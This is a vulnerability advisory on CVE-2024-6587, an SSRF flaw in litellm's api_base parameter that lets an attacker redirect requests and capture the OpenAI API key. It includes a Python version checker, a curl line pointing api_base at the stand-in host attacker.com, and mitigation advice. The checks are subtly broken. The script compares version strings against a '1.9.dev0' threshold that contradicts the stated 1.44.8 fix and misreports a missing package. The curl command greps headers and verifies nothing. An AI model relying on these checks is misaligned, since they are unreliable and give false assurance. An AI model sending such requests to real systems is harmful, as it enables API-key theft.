LiteLLM サーバーサイドリクエストフォージェリ (SSRF) の脆弱性

The SSRF vulnerability in litellm allows an attacker to control the destination of requests made by the application. By manipulating the api_base parameter in the /chat/completions endpoint, an attacker can redirect requests to a server they control. Crucially, these requests include the OpenAI API key used by litellm. This enables the attacker to intercept the API key, effectively gaining unauthorized access to the OpenAI API and potentially performing actions on behalf of the application user. The blast radius extends to any data processed through the OpenAI API, and the attacker could leverage the compromised API key for malicious purposes, such as data exfiltration or unauthorized model usage.

Applications utilizing the berriai/litellm library, particularly those integrated with OpenAI services, are at risk. Environments where the api_base parameter is not properly validated or sanitized are especially vulnerable. Shared hosting environments where multiple users might interact with the litellm application are also at increased risk.

• python / library:

import os
import subprocess

def check_litellm_version():
    try:
        result = subprocess.check_output(['pip', 'show', 'litellm'], stderr=subprocess.STDOUT, text=True)
        version_line = [line for line in result.splitlines() if 'Version:' in line]
        if version_line:
            version = version_line[0].split(': ')[1].strip()
            if version <= '1.9.dev0':
                print(f"[!] litellm version {version} is vulnerable to CVE-2024-6587. Upgrade to 1.44.8 or later.")
            else:
                print("[+] litellm version is not vulnerable.")
        else:
            print("[!] Could not determine litellm version.")
    except FileNotFoundError:
        print("[!] litellm is not installed.")

check_litellm_version()

• generic web:

curl -I 'http://your-litellm-app/chat/completions?api_base=http://attacker.com' | grep api_base

1. 2024-09-13Disclosure

   disclosure

2. 2024-09-13Patch

   patch

1. 予約済み2024-07-08
2. 公開日2024-09-13
3. EPSS 更新日2026-04-02

The primary mitigation for CVE-2024-6587 is to upgrade to version 1.44.8 or later of the litellm library. If an immediate upgrade is not feasible due to compatibility issues, consider implementing input validation on the apibase parameter to restrict allowed domains. A Web Application Firewall (WAF) could be configured to block requests with suspicious apibase values. Monitor application logs for unusual outbound requests to unexpected domains, particularly those involving API key transmission. After upgrading, confirm the fix by attempting to trigger the SSRF vulnerability with a controlled api_base value and verifying that the request is blocked or redirected as expected.